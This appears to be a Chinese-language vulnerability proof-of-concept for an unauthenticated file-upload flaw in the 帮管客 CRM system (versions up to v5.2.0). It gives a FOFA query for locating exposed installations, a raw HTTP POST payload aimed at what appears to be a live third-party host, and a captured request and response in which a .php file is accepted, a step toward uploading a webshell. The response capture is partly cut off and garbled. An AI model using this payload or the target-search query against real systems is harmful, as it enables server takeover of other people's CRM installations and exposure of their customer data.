

# B1-3帮管家-CRM-文件上传

## 漏洞描述：

帮管客CRM是一款集客户档案、销售记录、业务往来等功能于一体的客户管理系统。帮管客CRM客户管理系统，客户管理，从未如此简单，一个平台满足企业全方位的销售跟进、智能化服务管理、高效的沟通协同、图表化数据分析帮管客颠覆传统，重新定义企业管理系统。帮管客CRM ajax\_upload\_chat、ajax\_upload等接口处存在文件上传漏洞，未经授权的攻击者可利用该漏洞获取服务器权限。

## 影响版本：

帮管客CRM客户管理系统免费版 <= v5.2.0

## 网站图片：



## 网络测绘：

### fofa语法：

product="帮管客-CRM"

## 漏洞复现：

### payload:

```
POST /index.php/upload/ajax_upload_chat?type=image HTTP/1.1
Host: zrd.houdezg.com:1026
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryP85wZUzxCEb9PRN1
Cookie: bgk_session=bgk_session=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%2270edc36351739620753a2beeca7681a8%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A13%3A%2282.156.2
Accept-Encoding: gzip
Content-Length: 184
-----WebKitFormBoundaryP85wZUzxCEb9PRN1
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: image/jpeg
test
-----WebKitFormBoundaryP85wZUzxCEb9PRN1--
```

### 效果图：

Request	Response
<pre> 1  POST /index.php/upload/ajax_upload_chat?type=image HTTP/1.1 2  Host: 230fa8aa.nat123.fun 3  User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15 4  Content-Type: multipart/form-data;     boundary=---WebKitFormBoundaryP85wZUzxCEb9PRNl 5  Cookie:     bgk_session=bgk_session=a%3A5%3A7Bs%3A10%3A22session_id%22%3Bs%3A32%3A2270     edc36351739620753a2beeca7681a8%22%3Bs%3A10%3A22ip_address%22%3Bs%3A13%3A228     2.156.29.211%22%3Bs%3A10%3A22user_agent%22%3Bs%3A119%3A22Mozilla%2F5.0     +%28Macintosh%3B+Intel+Mac+OS+X+10_14_3%29+AppleWebKit%2F605.1.15+%28KHTML%2C     +like+Gecko%29+Version%2F12.0.3+Safari%2F605.1.     15%22%3Bs%3A13%3A22last_activity%22%3Bi%3A1691549409%3Bs%3A9%3A22user_data%     22%3Bs%3A0%3A22%22%3B%7D893b1adb9cfecf3f5a77a0581ffc946ad90933; 6  Accept-Encoding: gzip 7  Content-Length: 184 8 9  -----WebKitFormBoundaryP85wZUzxCEb9PRNl 10 Content-Disposition: form-data; name="file"; filename="test.php" 11 Content-Type: image/jpeg 12 13 test 14 -----WebKitFormBoundaryP85wZUzxCEb9PRNl-- </pre>	<pre> 1  HTTP/1.1 302 Found 2  Cache-Control: no-cache, no-store, must 3  Pragma: no-cache 4  Content-Type: text/html; charset=utf- 5  Expires: 0 6  Location: /index.php/login 7  Server: Microsoft-IIS/10.0 8  X-Powered-By: PHP/7.0.33 9  Set-Cookie: bgk_session=a%3A0%3A7B%7     18:25:53 GMT; Max-Age=0; path=/ 10 Set-Cookie:     bgk_session=a%3A5%3A7Bs%3A10%3A22se     c07b1f29e18c41e3d979d5c69a%22%3Bs%3A1     %22192.168.0.     108%22%3Bs%3A10%3A22user_agent%22%3B     +%28Macintosh%3B+Intel+Mac+OS+X+10_14     +%28KHTML%2C+like+Gecko%29+Version%2F     15%22%3Bs%3A13%3A22last_activity%22%     er_data%22%3Bs%3A0%3A22%22%3B%7D05b2     ee5b; expires=Sun, 07-Apr-2024 10:25: 11 X-Powered-By: ASP.NET 12 Date: Sun, 07-Apr-2024 08:25:53 GMT 13 Content-Length: 395 14 15 {"code":0,"msg":"","data":{"file_name":     "file_type":"text/plain","raw_name":     "orig_name":"202404071625731vNmCkDeK.     "file_ext": ".php", "file_size":0, "is_i     "image_height":"","image_type":"","im     uploads/uploads_chat/202404/202404 </pre>

参考链接: